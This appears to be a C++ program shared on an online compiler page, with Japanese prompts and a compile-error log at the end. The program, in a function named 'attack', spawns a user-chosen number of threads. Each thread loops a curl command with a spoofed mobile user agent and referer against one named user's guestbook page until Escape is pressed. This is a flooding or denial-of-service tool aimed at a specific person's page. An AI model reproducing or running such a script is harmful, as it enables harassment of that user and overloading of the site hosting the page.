fork download
  1. #define _CRT_SECURE_NO_WARNINGS
  2. #include <iostream>
  3. #include <sstream>
  4. #include <string>
  5. #include <thread>
  6. #include <vector>
  7. #include <cstdio>
  8. #include <cstdlib>
  9. #include <ctime>
  10. #include <Windows.h>
  11. using namespace std;
  12.  
  13. bool endFlag = false;
  14.  
  15. void attack(string userID, int interval)
  16. {
  17. ostringstream stream;
  18. string command;
  19. stream << "curl -A \"Mozilla/5.0 (Linux; Android 4.4.2; Nexus 4 Build/KOT49H) " <<
  20. "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36\" " <<
  21. "-e http://c...content-available-to-author-only...y.am/ -Ss http://c...content-available-to-author-only...y.am/" + userID + "/guestbook > nul";
  22. command = stream.str();
  23.  
  24. while (1)
  25. {
  26. if (GetAsyncKeyState(VK_ESCAPE)) endFlag = true;
  27. if (endFlag) return;
  28.  
  29. system(command.c_str());
  30. this_thread::sleep_for(chrono::milliseconds(interval));
  31. }
  32.  
  33. return;
  34. }
  35.  
  36. int main(void)
  37. {
  38. string userID;
  39. int threadCount = 0, interval = 0;
  40. vector<thread> threads;
  41. cout << "IDを入力 : ";
  42. cin >> userID;
  43. cout << "砲門数を入力 : ";
  44. scanf("%d", &threadCount);
  45. threads.resize(threadCount);
  46. cout << "待ち時間を入力(ミリ秒単位) : ";
  47. scanf("%d", &interval);
  48.  
  49. for (int i = 0; i < threadCount; i++)
  50. {
  51. threads[i] = thread(attack, userID, interval);
  52. }
  53.  
  54. for (int i = 0; i < threadCount; i++)
  55. {
  56. threads[i].join();
  57. }
  58.  
  59. system("pause");
  60. return 0;
  61. }
  62.  
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
prog.cpp:10:21: fatal error: Windows.h: No such file or directory
compilation terminated.
stdout
Standard output is empty